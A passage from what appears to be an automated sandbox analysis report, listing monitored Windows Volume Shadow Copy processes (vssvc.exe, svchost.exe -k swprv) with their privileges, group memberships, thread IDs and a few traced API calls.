Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 23 os_tid = 0xabc Thread: id = 24 os_tid = 0xac4 Thread: id = 25 os_tid = 0xac8 Thread: id = 26 os_tid = 0xacc Thread: id = 27 os_tid = 0xad0 Process: id = "5" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x4786d000" os_pid = "0xad4" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "4" os_parent_pid = "0xab8" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:00056cd7" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 28 os_tid = 0xaf0 Thread: id = 29 os_tid = 0xaec Thread: id = 30 os_tid = 0xae8 Thread: id = 31 os_tid = 0xae4 [0045.447] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x4dd810 | out: lpSystemTimeAsFileTime=0x4dd810*(dwLowDateTime=0x5dbff040, dwHighDateTime=0x1d5b994)) [0045.447] GetCurrentProcessId () returned 0xad4 [0045.447] GetCurrentThreadId () returned 0xae4 [0045.447] GetTickCount () returned 0x1145b1b [0045.447] QueryPerformanceCounter (in: lpPerformanceCount=0x4dd818 | out: lpPerformanceCount=0x4dd818*=16575028759) returned 1 [0045.447] malloc (_Size=0x100) returned 0x508e80 Thread: id = 32 os_tid = 0xae0 Thread: id = 33 os_tid = 0xadc Thread: id = 34 os_tid = 0xad8 Thread: id = 35 os_tid = 0xafc Thread: id = 42 os_tid = 0xbb4 Thread: id = 43 os_tid = 0x39c Process: id = "6" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x43f72000" os_pid = "0xaf4" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0xad4" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:000577dc" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 36 os_tid = 0xb14 Thread: id = 37 os_tid = 0xb0c Thread: id = 38 os_tid = 0xb08 Thread: id = 39 os_tid = 0xb04 Thread: id = 40 os_tid = 0xb00 Thread: id = 41 os_tid = 0xaf8 Thread: id = 44 os_tid = 0x6b4